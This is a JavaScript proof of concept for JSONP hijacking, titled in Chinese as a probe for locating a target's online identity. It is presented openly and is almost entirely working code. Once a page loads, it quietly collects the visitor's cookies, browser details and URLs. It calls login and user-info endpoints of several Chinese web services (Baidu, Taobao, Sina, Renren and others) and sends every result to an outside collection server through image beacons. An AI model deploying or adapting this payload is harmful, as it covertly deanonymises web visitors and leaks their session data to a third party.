JSON探针—定位目标网络虚拟信息身份-POC

      
  1. window . onerror = function (){
  2. return true ;
  3. }
  4. http_server = "http://lemon.1nlab.com/index.php?do=api&id=lemon&content=" ;
  5. var info = {};
  6. info . browser = function (){
  7. ua = navigator . userAgent . toLowerCase ();
  8. var rwebkit = /( webkit )[ \/ ]([ \w .]+)/;
  9. var ropera = /( opera )(?:.* version )?[ \/ ]([ \w .]+)/;
  10. var rmsie = /( msie ) ([ \w .]+)/;
  11. var rmozilla = /( mozilla )(?:.*? rv :([ \w .]+))?/;
  12. var match = rwebkit . exec ( ua ) ||
  13. ropera . exec ( ua ) ||
  14. rmsie . exec ( ua ) ||
  15. ua . indexOf ( "compatible" ) < 0 && rmozilla . exec ( ua ) ||
  16. [];
  17. return {
  18. name : match [ 1 ] || "" , version : match [ 2 ] || "0"
  19. };
  20. }();
  21. info . url = document . location . href ;
  22. info . ua = escape ( navigator . userAgent );
  23. info . lang = navigator . language ;
  24. info . referrer = document . referrer ;
  25. info . location = window . location . href ;
  26. info . toplocation = top . location . href ;
  27. info . cookie = escape ( document . cookie );
  28. info . domain = document . domain ;
  29. info . title = document . title ;
  30. info . screen = function (){
  31. var c = "" ;
  32. if ( self . screen ) {
  33. c = screen . width + "x" + screen . height ;
  34. }
  35. return c ;
  36. }();
  37. info . flash = function (){
  38. var f = "" , n = navigator ;
  39. if ( n . plugins && n . plugins . length ) {
  40. for ( var ii = 0 ; ii < n . plugins . length ; ii ++) {
  41. if ( n . plugins [ ii ]. name . indexOf ( 'Shockwave Flash' )!=- 1 ) {
  42. f = n . plugins [ ii ]. description . split ( 'Shockwave Flash ' )[ 1 ];
  43. break ;
  44. }
  45. }
  46. }
  47. else
  48. if ( window . ActiveXObject ) {
  49. for ( var ii = 10 ; ii >= 2 ; ii --) {
  50. try {
  51. var fl = eval ( "new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + ii + "');" );
  52. if ( fl ) {
  53. f = ii + '.0' ;
  54. break ;
  55. }
  56. }
  57. catch ( e ) {}
  58. }
  59. }
  60. return f ;
  61. }();
  62. function inj_script ( a , b ) {
  63. var o = document . createElement ( "script" );
  64. o . src = a ;
  65. if ( b ) {
  66. if (! window . ActiveXObject ) {
  67. o . onload = b ;
  68. }
  69. else {
  70. o . onreadystatechange = function () {
  71. if ( o . readyState == 'loaded' || o . readyState == 'complete' ) {
  72. b ();
  73. }
  74. }
  75. }
  76. }
  77. document . getElementsByTagName ( "body" )[ 0 ]. appendChild ( o );
  78. return o ;
  79. }
  80. function json2str ( o ) {
  81. if ( typeof o == 'string' ) return o ;
  82. var arr = [];
  83. var fmt = function ( s ) {
  84. if ( typeof s == 'object' && s != null ) return json2str ( s );
  85. return /^( string | number ) $ /. test ( typeof s ) ? "'" + s + "'" : s ;
  86. }
  87. for ( var i in o ) arr . push ( "'" + i + "':" + fmt ( o [ i ]));
  88. return '{' + arr . join ( ',' ) + '}' ;
  89. }
  90. video_login_callback = function ( o ){
  91. new Image (). src = http_server + escape ( json2str ( o )) + "&content2=baidu" ;
  92. }
  93. e163_comment = function ( o ){
  94. new Image (). src = http_server + escape ( json2str ( o )) + "&content2=163" ;
  95. }
  96. sina_1368631232407449 = function ( o ){
  97. new Image (). src = http_server + escape ( json2str ( o )) + "&content2=sina" ;
  98. }
  99. loginInfoJson = function ( o ){
  100. new Image (). src = http_server + escape ( json2str ( o )) + "&content2=taobao" ;
  101. }
  102. jsonp1368705676193 = function ( o ){
  103. new Image (). src = http_server + escape ( json2str ( o )) + "&content2=mop" ;
  104. }
  105. jsonp1368751970360 = function ( o ){
  106. new Image (). src = http_server + escape ( json2str ( o )) + "&content2=dangdang" ;
  107. }
  108. jQuery1368758656634 = function ( o ){
  109. new Image (). src = http_server + escape ( json2str ( o )) + "&content2=renren" ;
  110. }
  111. window . onload = function (){
  112. new Image (). src = http_server + escape ( json2str ( info )) + "&content2=info%20" ;
  113. try {
  114. inj_script ( 'http://baike.baidu.com/api/login/?callback=video_login_callback' );
  115. }
  116. catch ( e ){}
  117. try {
  118. inj_script ( 'http://comment.money.163.com/reply/check.jsp?time=1367240961474&callback=e163_comment' );
  119. }
  120. catch ( e ){}
  121. try {
  122. inj_script ( 'http://i.house.sina.com.cn/sso/get_cookie.php?callback=sina_1368631232407449' );
  123. }
  124. catch ( e ){}
  125. try {
  126. inj_script ( 'http://i.bendi.taobao.com/userLoginInfo.do?callback=loginInfoJson&t=1368683974713' );
  127. }
  128. catch ( e ){}
  129. try {
  130. inj_script ( 'http://passport.mop.com/common/user-info?callback=jsonp1368705676193' );
  131. }
  132. catch ( e ){}
  133. try {
  134. inj_script ( 'http://commapi.dangdang.com/api/toolbar_ads_api.php?jsoncallback=jsonp1368751970360' );
  135. }
  136. catch ( e ){}
  137. try {
  138. inj_script ( 'http://passport.game.renren.com/user/info?callback=jQuery1368758656634&_=1368758656639' );
  139. }
  140. catch ( e ){}
  141. try {
  142. inj_script ( 'http://uis.i.sohu.com/api/passport.jsp?from=roll&_=1361671333278' );
  143. }
  144. catch ( e ){}
  145. try {
  146. inj_script ( 'http://www.tianya.cn/api/msg?method=messagesys.selectmessage?ms.pageSize=1?ms.pageNo=1&_=1368893252433&var=tianya_msg' );
  147. }
  148. catch ( e ){}
  149. setTimeout ( function (){
  150. var o = [ _passport ];
  151. new Image (). src = http_server + escape ( json2str ( o )) + "&content2=sohu" ;
  152. }
  153. , 3000 );
  154. setTimeout ( function (){
  155. var o = tianya_msg . data . list [ 0 ]. toUserName + '|' + tianya_msg . data . list [ 0 ]. toUserId ;
  156. new Image (). src = http_server + escape ( json2str ( o )) + "&content2=tianya" ;
  157. }
  158. , 5000 );
  159. };